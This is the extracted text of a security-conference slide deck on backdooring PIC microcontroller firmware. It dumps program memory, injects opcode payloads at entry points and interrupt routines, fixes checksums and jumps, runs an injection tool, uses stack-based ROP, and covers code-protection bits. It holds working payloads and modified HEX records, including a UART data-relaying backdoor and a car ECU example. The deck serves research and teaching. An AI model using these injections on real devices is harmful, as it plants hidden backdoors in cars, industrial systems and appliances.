



# Backdooring hardware devices by injecting malicious payloads on microcontrollers\_

By Sheila A. Berta [[@UnaPibaGeek](#)]

# WHO AM I?\_

*Sheila A. Berta (@UnaPibaGeek)*  
Offensive Security Researcher



A little bit more:

- Developer in ASM (Microcontrollers & Microprocessors x86/x64), C/C++, Python and Go.
- Speaker at Black Hat (x2), DEF CON (x2), Ekoparty (x4), HITB, PhDays, IEEE... & more.

@UnaPibaGeek

## Many Android Devices Had a Pre-Installed Backdoor, Google Reveals

The list of affected devices includes Leagoo M5 Plus, Leagoo M8, Nomu S10, and Nomu S20.

## The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies

Supermicro hardware weaknesses  
researchers backdoor an IBM cloud  
server


Other providers of bare-metal cloud computing might also be vulnerable to

@UnaPibaGeek

Vodafone found hidden backdoors in  
Huawei equipment




# MICROCONTROLLERS VS MICROPROCESSORS



Microprocessors  
Intel, AMD, ARM

...

@UnaPibaGeek




Microcontrollers  
Microchip, ATTEL, ST

...

# MICROPROCESSORS OVERVIEW

- Microprocessors = CPU
- Memories and I/O busses are physically separated.
- Usually bigger than a microcontroller.
- Greater processing capacity.




- Modified-Harvard memory organization.
- 32 or 64 bits (most common).


# MICROCONTROLLERS OVERVIEW

- Microcontrollers = CPU + RAM + ROM + I/O busses
- Smaller CPU with less processing capacity.
- Usually smaller size than microprocessors.

- Harvard memory organization.
- 16 bits (most common).
- A little stack.



# USE CASES



Raspberry Pi  
ARM Microprocessor


@UnaPibaGeek

!!




Arduino UNO  
Atmega Microcontroller

# MICROCONTROLLERS EVOLUTION



Pinout diagram for the PIC16F2580 microcontroller:


1	MCLR/VPP/RE3	RB7/KBI3/PGD	28
2	RA0/A0	RB6/KBI2/PGC	27
4	RA1/A1	RB5/KBI1/PGM	26
5	RA2/A2/VREF-	RB4/KBIO/AN9	25
6	RA3/A3/VREF+	RB3/CANRX	24
7	RA4/T0CKI	RB2/INT2/CANTX	23
8	RA5/A5/SS/HLV DIN	RB1/INT1/AN8	22
9	VSS	RB0/INT0/AN10	21
10	OSCI/CLKI/RA7	VDD	20
11	OSC2/CLKO/RA6		19
12	RC0/T1OSO/T13CKI	RC7/RX-DT	18
13	RC1/T1OSI	RC6/TX-CK	17
14	RC2/CCP1	RC5/SDO	16
15	RC3/SCK/SCL	RC4/SDI/SDA	15



@UnaPibaGeek

# IS WORTH IT? \_


- Physical Security Systems.
  - Car's ECU.
  - Semaphores.
  - Elevators.
  - Sensors.
  - Modules of Industrial systems.
  - Home appliances.
  - Robots.
  - ...



# MICROCONTROLLERS PROGRAMMING\_

@UnaPibaGeek

# MICROCONTROLLERS PROGRAMMING




# MICROCONTROLLERS PROGRAMMING

## MAIN\_PROG CODE

```
START
    CLRF    PORTD          ; Clear PORTD
    MOVLW   B'00000000'
    MOVWF   TRISD          ; All is Output
    BSF     PORTD,2        ; Turn on LED
    GOTO   $               ; Loop forever
END
```

ASM code to turning on a LED - (PIC)




MPLAB X IDE

```
BUILD SUCCESSFUL (total time: 313ms)
Loading code from /home/shei/MPLABXProjects/LED1.X/dist/default/production/LED1.X.production.hex...
Loading completed
```

.hex file (firmware)

@UnaPibaGeek

# MICROCONTROLLERS PROGRAMMING



Microchip (PIC) programmer software

@UnaPibaGeek




Microchip (PIC) programmer hardware



# PROGRAM MEMORY DUMP \_

@UnaPibaGeek

# PIC MEMORY ORGANIZATION




# PROGRAM MEMORY DUMP [STEP 1]




Connection from PIC microcontroller to PICKIT 3

# PROGRAM MEMORY DUMP [STEP 2]


1




2



3




4



Using MPLAB X IDE to read (and dump) the program memory

# PROGRAM MEMORY DUMP [STEP 3]



Line	Address	Opcode	Label	DisAssy
1	0000	EF14		GOTO 0x28
2	0002	F000		NOP
3	0004	0000		NOP
4	0006	0E0E		MOVWF 0xE
5	0008	6E04		MOVWF 0x4, ACCESS
6	000A	0E48		MOVWF 0x48
7	000C	6E07		MOVWF 0x7, ACCESS
8	000E	0E50		MOVWF 0x50
9	0010	6E09		MOVWF 0x9, ACCESS
10	0012	0004		CLRWDT
11	0014	2E09		DECFSZ 0x9, F, ACCESS
12	0016	EF0A		GOTO 0x14
13	0018	F000		NOP
14	001A	2E07		DECFSZ 0x7, F, ACCESS
15	001C	EF07		GOTO 0xE
16	001E	F000		NOP
17	0020	2E04		DECFSZ 0x4, F, ACCESS
18	0022	EF05		GOTO 0xA
19	0024	F000		NOP
20	0026	0C00		RETLW 0x0
21	0028	6A83		CLRF PORTD, ACCESS
22	002A	0E00		MOVWF 0x0
23	002C	6E95		MOVWF TRISD, ACCESS
24	002E	8C83		BSF PORTD, 6, ACCESS
25	0030	EC03		CALL 0x6, 0
26	0032	F000		NOP
27	0034	9C83		BCF PORTD, 6, ACCESS

Load the .hex file in the MPLAB X IDE

@UnaPibaGeek

# CODE US DISASSEMBLY [EXAMPLE]

MAIN\_PROG CODE

START

```
CLRF PORTD
MOVLW B'00000000'
MOVWF TRISD
BSF PORTD,2
GOTO $
```

END

; Clear PORTD  
; All is Output  
; Turn on LED  
; Loop forever

ASM source code

Program Memory

	Line	Address	Opcode	Label	DisAssy
	1	0000	EF03		GOTO 0x6
	2	0002	F000		NOP
	3	0004	0000		NOP
	4	0006	6A83		CLRF PORTD, ACCESS
	5	0008	0E00		MOVLW 0x0
	6	000A	6E95		MOVWF TRISD, ACCESS
	7	000C	8483		BSF PORTD, 2, ACCESS
	8	000E	EF07		GOTO 0xE
	9	0010	F000		NOP

Disassembly

Start Page x memory.hex x

Source History

```
1 :020000040000FA
2 :1000000003EF00F00000836A000E956E838407EF13
3 :1000100000F0FFFFFFF0FFFFFFF0FFFFFFF0FFFFFFF0
4 :10002000FFFFFFF0FFFFFFF0FFFFFFF0FFFFFFF0
5 :10003000FFFFFFF0FFFFFFF0FFFFFFF0FFFFFFF0
```


OpCodes in the .hex dump

@UnaPibaGeek

# PAYLOAD INJECTION: AT THE ENTRY POINT

@UnaPibaGeek

# PROGRAM STANDARD STRUCTURE [PIC]



→ Reset Vector: always at 0x0000 memory address

→ Interrupt Vector: at 0x0008 and 0x0018 memory addresses

→ Program entry point

# LOCATING THE ENTRY POINT

```
RES_VECT CODE 0x0000
GOTO START

; TODO ADD INTERRUPTS HERE IF USED

MAIN_PROG CODE

START
    CLRF PORTD
    MOVLW B'00000000'
    MOVWF TRISD

    BSF PORTD,2
    GOTO $

END
```

	Line	Address	Opcode	Label	DisAssy
1	0000	EF03		GOTO 0x6	
2	0002	F000		NOP	
3	0004	0000		NOP	
4	0006	6A83		CLRF PORTD, ACCESS	
5	0008	0E00		MOVLW 0x0	
6	000A	6E95		MOVWF TRISD, ACCESS	
7	000C	8483		BSF PORTD, 2, ACCESS	
8	000E	EF07		GOTO 0xE	
9	0010	F000		NOP	

→ Entry point

Simple program example

	Line	Address	Opcode	Label	DisAssy
1	0000	EFC2		GOTO 0x7F84	
2	0002	F03F		NOP	
3	0004	FFFF		NOP	

Large program example

Example 1 -- Entry point: 0x06 ← Memory address to inject

Example 2 -- Entry point: 0x7F84 ← Memory address to inject

# GENERATING THE PAYLOAD #1 [PoC]

```
BCF    TRISD,1      // Set PIN as output  
BSF    PORTD,1      // Turn ON a LED  
BCF    TRISD,2      // Set PIN as output  
BSF    PORTD,2      // Turn ON a LED
```

Opcode	Label	DisAssy
0000		NOP
9295		BCF TRISD, 1, ACCESS
8283		BSF PORTD, 1, ACCESS
9495		BCF TRISD, 2, ACCESS
8483		BSF PORTD, 2, ACCESS
0000		NOP

0x9295 = BCF TRISD,1  
0x8283 = BSF PORTD,1

0x9495 = BCF TRISD,2  
0x8483 = BSF PORTD,2

LittleEndian: 0x9592 0x8382 0x9594 0x8384

# INJECTING THE PAYLOAD

Program Memory				
	Line	Address	Opcode	Label
1	0000	EF14	GOTO 0x28	
2	0002	F000		NOP
3	0004	0000		NOP

Entry point at 0x28

1 :020000040000FA  
2 :1000000014EF00F000000E0E046E480E076E500E46  
3 :10001000096E0400092E0AEF00F0072E07EF00F02A  
4 :10002000042E05EF00F000095928382959483849F  
5 :10003000000E956E838C03EC00F0839C03EC00F0E1

Entry point offset

Checksum

Original program memory (.hex dump)

1 :020000040000FA  
2 :1000000014EF00F000000E0E046E480E076E500E46  
3 :10001000096E0400092E0AEF00F0072E07EF00F02A  
4 :10002000042E05EF00F000095928382959483849F  
5 :10003000000E956E838C03EC00F0839C03EC00F0E1  
6 :1000400016EF00F0FFFFFFF0FFFFFFF0FFFFFFF0C0

Payload injected at entry point (0x28)

# CHECKSUM RECALCULATION

Sum(bytes on the line) = Not + 1 = checksum

Example: :1000000003EF00F00000959E838E836A000E956E

10+00+00+00+03+EF+00+F0+00+00+95+9E+83+8E+83+6A+00+0E+95+6E = 0x634

Not(0x634) + 1 = 0xFFFF 0xFFFF 0xFFFF 0xF9CC

Checksum = 0xCC

# CHECKSUM RECALCULATION

[https://www.fischl.de/hex\\_checksum\\_calculator/](https://www.fischl.de/hex_checksum_calculator/)



:10002000042E05EF00F0000C95928382959483849F

Analyse

:10002000042E05EF00F0000C95928382959483849F

Address: 0020<sub>16</sub> = 3210  
Byte count: 10<sub>16</sub> = 1610  
Record type: 00<sub>16</sub> = Data  
Checksum: 9F<sub>16</sub>


Calculated checksum: 5216

```
1 :020000040000FA
2 :1000000014EF00F000000E0E046E480E076E500E46
3 :10001000096E0400092E0AEF00F0072E07EF00F02A
4 :10002000042E05EF00F0000C959283829594838452
5 :10003000000E956E838C03EC00F0839C03EC00F0C3
6 :1000400016EF00F0FFFFFFFFFFFFFFFC7
```

Payload injected and checksum fixed


@UnaPibaGeek

# WRITE THE PROGRAM MEMORY




@UnaPibaGeek

# BEFORE ↗ AFTER [PoC]




Original



Payload injected

@UnaPibaGeek

# INJECTING TO A CAR'S ECU



@UnaPibaGeek

Entry point: 0x152A

```
339 :101500000001536B53C036F0070E2B6F5AEC00F0FE
340 :10151000499F000C000149BB000C0F01F29F000124
341 :10152000498B0F01F28F0001000C00010E016F5C6E|
342 :1015300049B1348147B18AECA0AF044B17DEC00F046
343 :1015400067B3A6EF0AF047B303EF0BF053B1F8EF20
```




DEMO TIME!

# ADVANCED PAYLOAD INJECTION: AT THE INTERRUPT VECTOR\_

@UnaPibaGeek

# PERIPHERALS AND INTERRUPTIONS



- Internal timers
- A/D converters
- CCP (Capture/Compare/PWM)
- TX/RX busses
- Others

# GIE AND PEIE BITS

INTCON




```
BSF    INTCON, GIE      // Set GIE to 1  
BSF    INTCON, PEIE    // Set PEIE to 1
```

26	0032	8EF2		BSF INTCON, 7, ACCESS
27	0034	8CF2		BSF INTCON, 6, ACCESS

→ Interruptions enabled

# INTERRUPTION FLAGS



XXIE = Interruption Enabled

XXIF = Interruption Flag

Registers PIE1, PIE2 and PIE3 have interruption enabling bits  
Registers PIR1, PIR2 and PIR3 have interruption flags bits

# POLLING INSPECTION

```
; TODO ADD INTERRUPTS HERE IF USED
INT_VECT CODE 0x0008

    MOVWF tempw
    SWAPF STATUS, w
    MOVWF temps

    ; POLLING:
    → BTFSC PIR1, RCIF
    CALL RC
    → BTFSC INTCON, TMROIF
    CALL TM
    → BTFSC PIR1, ADIF
    CALL AD
    → BTFSC INTCON, INTOIF
    CALL IN

    SWAPF temps, w
    MOVWF STATUS
    MOVF tempw, w


    RETFIE
```

Address	Opcode	Label	DisAssy
0006	FFFF		NOP
0008	6E00		MOVWF 0x0, ACCESS
000A	38D8		SWAPF STATUS, W, ACCESS
000C	6E01		MOVWF 0x1, ACCESS
000E	BA9E		BTFSC PIR1, 5, ACCESS
0010	EC24		CALL 0x48, 0
0012	F000		NOP
0014	B4F2		BTFSC INTCON, 2, ACCESS
0016	EC27		CALL 0x4E, 0
0018	F000		NOP
001A	BC9E		BTFSC PIR1, 6, ACCESS
001C	EC2B		CALL 0x56, 0
001E	F000		NOP
0020	B2F2		BTFSC INTCON, 1, ACCESS
0022	EC2F		CALL 0x5E, 0
0024	F000		NOP
0026	3801		SWAPF 0x1, W, ACCESS
0028	6ED8		MOVWF STATUS, ACCESS
002A	5000		MOVF 0x0, W, ACCESS
002C	0010		RETFIE 0
002E	6A83		CLRF PORTD, ACCESS

→ Interrupt vector

→ Polling

# POLLING INSPECTION



REGISTER 9-4: PIR1: PERIPHERAL INTERRUPT REQUEST (FLAG) REGISTER 1

R/W-0	R/W-0	R-0	R-0	R/W-0	R/W-0	R/W-0	R/W-0
PSPIF <sup>(1)</sup>	ADIF	RCIF	TXIF	SSPIF	CCP1IF	TMR2IF	TMR1IF
bit 7		bit 5					bit 0

PIR1, 5 = PIR1, RCIF

# MEMORY ADDRESSES TO INJECT A PAYLOAD\_

Address	Opcode	Label	DisAssy
0006	FFFF		NOP
0008	6E00		MOVWF 0x0, ACCESS
000A	38D8		SWAPF STATUS, W, ACCESS
000C	6E01		MOVWF 0x1, ACCESS
000E	BA9E		BTFSC PIR1, 5, ACCESS
0010	EC24		CALL 0x48, 0
0012	F000		NOP
0014	B4F2		BTFSC INTCON, 2, ACCESS
0016	EC27		CALL 0x4E, 0
0018	F000		NOP
001A	BC9E		BTFSC PIR1, 6, ACCESS
001C	EC2B		CALL 0x56, 0
001E	F000		NOP
0020	B2F2		BTFSC INTCON, 1, ACCESS
0022	EC2F		CALL 0x5E, 0
0024	F000		NOP
0026	3801		SWAPF 0x1, W, ACCESS
0028	6ED8		MOVWF STATUS, ACCESS
002A	5000		MOVF 0x0, W, ACCESS
002C	0010		RETFIE 0
002E	6A83		CLRF PORTD, ACCESS

→ 0x48 to inject a payload at the RC interruption

→ 0x4E to inject a payload at Timer0 interruption

→ 0x56 to inject a payload at the AD interruption

→ 0x5E to inject a payload at the INT0 interruption

# BACKDOORING THE EUART COMMUNICATION PERIPHERAL

Step 1: locate where the RC interruption routine begins (by inspecting the polling)

000E	BA9E	BTFSC PIR1, 5, ACCESS
0010	EC24	CALL 0x48, 0

Call to RC interruption routine

0x48  
RC interruption routine begins



```
:1000000017EF00F00000FFFF006ED838016E9EBAB7
:1000100024EC00F0F2B427EC00F09EBC2BEC00F0D6
:10002000F2B22FEC00F00138D86E00501000836A55
:10003000F26AF28EF28CF28AF7889D8A9D8C000E12
:10004000956E838422EF00F09E9A8386000CF294D2
:1000500000008386000C9E9C00008386000CF292B8
:1000600000008386000CFFFFFFF85
```

The assembly code shows a series of memory addresses followed by their hex values. The address 0x48 is explicitly labeled as the start of the 'RC interruption routine begins'. A red circle highlights the first byte of the code at address 0x48, and a red arrow points from the text 'Call to RC interruption routine' to this circled byte.

# BACKDOORING THE EUART COMMUNICATION PERIPHERAL

Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral which we are able to monitor externally (example)

MOVF	RCREG, W	// Move the received data to "W" register
BSF	TXSTA, TXEN	// Enable transmission
BCF	TXSTA, SYNC	// Set asynchronous operation
BSF	RCSTA, SPEN	// Set TX/CK pin as an output
MOVWF	TXREG	// Move received data (in W) to TXREG to be re-transmitted

F000	NOP
50AE	MOVF RCREG, W, ACCESS
8AAC	BSF TXSTA, 5, ACCESS
98AC	BCF TXSTA, 4, ACCESS
8EAB	BSF RCSTA, 7, ACCESS
6EAD	MOVWF TXREG, ACCESS
9A9E	BCF PIR1, 5, ACCESS

0xAE50 0xAC8A 0xAC98 0xAB8E 0xAD6E

# BACKDOORING THE EUART COMMUNICATION PERIPHERAL

Step 3: Inject the payload where the RC interruption routine begins

0x48  
RC interruption routine begins


```
:1000000017EF00F00000FFFF006ED838016E9EBAB7
:1000100024EC00F0F2B427EC00F09EBC2BEC00F0D6
:10002000F2B22FEC00F00138D86E00501000836A55
:10003000F26AF28EF28CF28AF2889D8A9D8C000E12
:10004000956E838422EF00F0AE50AC8AAC98AB8EF4
:10005000AD6E9E9A8386000CF29400008386000C9D
:100060009E9C00008386000CF29200008386000CA8
```

Backdoor



DEMO TIME!

# FIXING JUMPS: FLOW CORRUPTION



@UnaPibaGeek

# FIXING JUMPS: GOTO AND CALL OPCODES

GOTO opcode = 0xEF

CALL opcode = 0xEC

NOP opcode = 0xF0

EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address).

EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address).

2B82	INCF 0x82, F, BANKED
EC67	CALL 0x8CE, 0
F004	NOP
C014	MOVFF 0x14, 0x80

```
:1002000019C080F0822B67EC04F01AC080F0822BBA  
:1002100067EC04F01BC080F0822B67EC04F01CC07C  
:1002200080F0822B67EC04F01DC080F0822B67EC1D  
:1002300004F01EC080F0822B67EC04F01FC080F039
```

Jump to 0x8CE (memory address) / 2 = 0x0467 offset

# FIXING JUMPS: RECALCULATION

Payload injected at memory address: 0x48

Payload length: 10 bytes

Example:

CALL 0x56 (EC2B F000) → Original jump

CALL 0x60 (EC30 F000) → Fixed jump  
Original offset + payload length

```
:10000000017EF00F00000FFFF006ED838016E9EBAB7
:1000100024EC00F0F2B42CEC00F09EB030EC00F0CC
:10002000F2B234EC00F00138D86E00501000836A50
:10003000F26AF28EF28CF28AF2889D8A9D8C000E12
:10004000956E838422EF00F0AE50AC8AAC98AB8EF4
:10005000AD6E9E9A8386000CF29400008386000C9D
```

Three CALL fixed after injection

# AUTOMATING PAYLOAD INJECTION

```
shei@smc1e: ~/devs
Archivo Editar Ver Buscar Terminal Ayuda
shei@smc1e:~/devs$ python3 ucpi.py -i /home/shei/dump03.hex -p AE50AC8AAC98AB8EAD6E -a 0x5CE
-o /home/shei/backdoored.hex

[!] Target device: Microchip
[!] Input file: /home/shei/dump03.hex
[!] Payload: AE50AC8AAC98AB8EAD6E
[!] Payload size: 10 bytes
[!] Memory address to inject: 0x5CE
[*] Making payload injection...
[*] Aligning file bytes...
[!] Done!
[*] Fixing CALL and GOTO jumps...
[!] 26 jumps fixed!
[*] Making checksum recalculation...
[!] Done!
[!] New backdoored file: /home/shei/backdoored.hex
shei@smc1e:~/devs$
```

<https://github.com/UnaPibaGeek/UCPI>


# STACK PAYLOAD INJECTION: CONTROLLING PROGRAM FLOW

@UnaPibaGeek

# STKPTR, TOSU, TOSH AND TOSL

STKPTR = Stack Pointer register

TOSU, TOSH and TOSL = Top of Stack registers



# PROGRAM FLOW CONTROL

INCF STKPTR,F // SP increment

MOVLW 0x00  
MOVWF TOSU // TOSU = 0x00

MOVLW 0x0C  
MOVWF TOSH // TOSH = 0x0C

MOVLW 0x72  
MOVWF TOSL // TOSL = 0x72

RETURN

Jump to 0x000C72

@UnaPibaGeek

Address	Opcode	Label	DisAssy
000C	8083		BSF PORTD, 0, ACCESS
000E	2AFC		INCF STKPTR, F, ACCESS
0010	0E00		MOVLW 0x0
0012	6EFF		MOVWF TOSU, ACCESS
0014	0E00		MOVLW 0x0
0016	6EFE		MOVWF TOSH, ACCESS
0018	0E24		MOVLW 0x24
001A	6EFD		MOVWF TOS, ACCESS
001C	0012		RETURN 0
001E	EF06		GOTO 0xC

SP Increment  
TOS = 0x000024

0022	0000	NOP
0024	8C83	BSF PORTD, 6, ACCESS
0026	EF13	GOTO 0x26

Jump to 0x000024

# ROP-CHAIN\_

ROP gadgets:

0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E (last)

0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E

0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E

0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E

0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E

0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E

0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E

0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E (first)

RET = 0x1200

@UnaPibaGeek

Gadget example at 0x0040:

0040	8683	BSF PORTD, 3, ACCESS
0042	EC03	CALL 0x6, 0
0044	F000	NOP
0046	0C00	RETLW 0x0



RETURN or RETLW



DEMO TIME!

# PROGRAM MEMORY PROTECTIONS

---

@UnaPibaGeek

# CODE PROTECTION\_

## Microchip Config Directives

```
; CONFIG5L  
CONFIG CP0 = ON  
CONFIG CP1 = ON  
CONFIG CP2 = ON  
CONFIG CP3 = ON
```

5	0008	6E00		MOVWF 0x0, ACCESS
6	000A	38D8		SWAPF STATUS, W, ACCESS
7	000C	6E01		MOVWF 0x1, ACCESS
8	000E	BA9E		BTFSC PIR1, 5, ACCESS
9	0010	EC24		CALL 0x48, 0
10	0012	F000		NOP
11	0014	B4F2		BTFSC INTCON, 2, ACCESS
12	0016	EC27		CALL 0x4E, 0
13	0018	F000		NOP
14	001A	BC9E		BTFSC PIR1, 6, ACCESS

Program memory dump still works

# BOOT AND DATA PROTECTION\_

## Microchip Config Directives

```
; CONFIG5H  
CONFIG  CPB = ON  
CONFIG  CPD = ON
```

5	0008	0000		NOP
6	000A	0000		NOP
7	000C	0000		NOP
8	000E	0000		NOP
9	0010	0000		NOP
10	0012	0000		NOP
11	0014	0000		NOP

Program memory dump doesn't work

# CONCLUSIONS\_

@UnaPibaGeek

# SPECIAL THANKS\_

Sol (@encodedwitch)

Nico Waisman (@nicowaisman)

Dreamlab Technologies

@UnaPibaGeek



THANK YOU\_

SHEILA A. BERTA (@UNAPIBAGEEK)